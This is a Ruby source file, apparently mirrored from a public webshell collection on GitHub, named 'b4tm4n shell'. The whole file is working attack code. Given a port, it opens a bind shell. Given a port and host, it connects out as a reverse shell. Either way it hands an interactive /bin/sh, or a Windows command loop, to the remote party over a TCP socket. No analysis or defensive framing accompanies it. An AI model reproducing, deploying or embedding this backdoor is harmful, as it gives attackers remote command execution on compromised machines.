mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
100 lines
No EOL
2.3 KiB
Ruby
100 lines
No EOL
2.3 KiB
Ruby
#!/usr/bin/env ruby
|
|
require 'socket'
|
|
require 'pathname'
|
|
|
|
def sucks
|
|
return RUBY_PLATFORM.downcase.match('mswin|win|mingw')?true:false
|
|
end
|
|
|
|
def realpath(str)
|
|
r=str
|
|
if File.exists?(str)
|
|
r=Pathname.new(str).realpath.to_s
|
|
end
|
|
if sucks then r=r.gsub(/\//,"\\") end
|
|
return r
|
|
end
|
|
|
|
if ARGV.length==1
|
|
ARGV[0]=~/^[0-9]{1,5}$/?p=Integer(ARGV[0]):exit
|
|
s=TCPServer.new("",p)
|
|
c=s.accept
|
|
c.print "b4tm4n shell : connected\n"
|
|
begin
|
|
if not sucks
|
|
f=c.to_i
|
|
exec sprintf("export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i \<\&%d \>\&%d 2\>\&%d",f,f,f)
|
|
else
|
|
c.print realpath(".")+">"
|
|
while l=c.gets
|
|
raise errorBro if l=~/^die\r?$/
|
|
if not l.chomp==""
|
|
if l=~/cd .*/i
|
|
l=l.gsub(/cd /i,'').chomp
|
|
if File.directory?(l)
|
|
l=realpath(l)
|
|
Dir.chdir(l)
|
|
end
|
|
c.print realpath(".")+">"
|
|
elsif l=~/\w:.*/i
|
|
if File.directory?(l.chomp)
|
|
Dir.chdir(l.chomp)
|
|
end
|
|
c.print realpath(".")+">"
|
|
else
|
|
IO.popen(l,"r"){|io|c.print io.read+"\n"+realpath(".")+">"}
|
|
end
|
|
end
|
|
end
|
|
end
|
|
rescue errorBro
|
|
exit
|
|
ensure
|
|
s.close
|
|
s=nil
|
|
end
|
|
elsif ARGV.length==2
|
|
if ARGV[0]=~/^[0-9]{1,5}$/
|
|
p=Integer(ARGV[0]);
|
|
h=ARGV[1]
|
|
else
|
|
exit
|
|
end
|
|
s=TCPSocket.new("#{h}",p)
|
|
s.print "b4tm4n shell : connected\n"
|
|
begin
|
|
if not sucks
|
|
f=s.to_i
|
|
exec sprintf("export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i \<\&%d \>\&%d 2\>\&%d",f,f,f)
|
|
else
|
|
s.print realpath(".")+">"
|
|
while l=s.gets
|
|
raise errorBro if l=~/^die\r?$/i
|
|
if not l.chomp==""
|
|
if l=~/cd .*/i
|
|
l=l.gsub(/cd /i,'').chomp
|
|
if File.directory?(l)
|
|
l=realpath(l)
|
|
Dir.chdir(l)
|
|
end
|
|
s.print realpath(".")+">"
|
|
elsif l=~/\w:.*/i
|
|
if File.directory?(l.chomp)
|
|
Dir.chdir(l.chomp)
|
|
end
|
|
s.print realpath(".")+">"
|
|
else
|
|
IO.popen(l,"r"){|io|s.print io.read+"\n"+realpath(".")+">"}
|
|
end
|
|
end
|
|
end
|
|
end
|
|
rescue errorBro
|
|
exit
|
|
ensure
|
|
s.close
|
|
s=nil
|
|
end
|
|
else
|
|
exit
|
|
end |